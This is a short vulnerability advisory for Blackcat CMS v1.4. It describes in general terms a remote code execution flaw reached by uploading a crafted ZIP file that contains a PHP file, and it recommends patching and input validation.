Blackcat Cms v1.4 – Remote Code Execution (RCE)

The Blackcat Cms v1.4 application is vulnerable to remote code execution (RCE) due to improper handling of user-supplied input. An attacker can upload a specially crafted ZIP file containing a malicious PHP file and execute arbitrary commands on the server.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of Blackcat Cms that addresses this issue. Additionally, ensure that user input is properly sanitized and validated before processing.
